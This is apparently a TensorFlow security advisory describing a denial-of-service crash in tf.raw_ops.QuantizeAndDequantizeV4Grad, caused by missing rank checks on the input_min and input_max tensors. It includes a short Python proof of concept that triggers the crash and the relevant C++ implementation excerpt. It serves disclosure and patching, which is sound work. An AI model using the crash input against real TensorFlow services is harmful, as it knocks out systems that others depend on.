CHECK-fail in `QuantizeAndDequantizeV4Grad`

Impact

An attacker can trigger a denial of service via a CHECK-fail in tf.raw_ops.QuantizeAndDequantizeV4Grad:

import tensorflow as tf

gradient_tensor = tf.constant([0.0], shape=[1])
input_tensor = tf.constant([0.0], shape=[1])
input_min = tf.constant([[0.0]], shape=[1, 1])
input_max = tf.constant([[0.0]], shape=[1, 1])

tf.raw_ops.QuantizeAndDequantizeV4Grad(
  gradients=gradient_tensor, input=input_tensor,
  input_min=input_min, input_max=input_max, axis=0)

This is because the implementation does not validate the rank of the input_* tensors. In turn, this results in the tensors being passes as they are to QuantizeAndDequantizePerChannelGradientImpl:

template <typename Device, typename T>
struct QuantizeAndDequantizePerChannelGradientImpl {
  static void Compute(const Device& d,
                      typename TTypes<T, 3>::ConstTensor gradient,
                      typename TTypes<T, 3>::ConstTensor input,
                      const Tensor* input_min_tensor,
                      const Tensor* input_max_tensor,
                      typename TTypes<T, 3>::Tensor input_backprop,
                      typename TTypes<T>::Flat input_min_backprop,
                      typename TTypes<T>::Flat input_max_backprop) {
    ...
    auto input_min = input_min_tensor->vec<T>();
    auto input_max = input_max_tensor->vec<T>();
    ...
}

However, the vec<T> method, requires the rank to 1 and triggers a CHECK failure otherwise.

Patches

We have patched the issue in GitHub commit .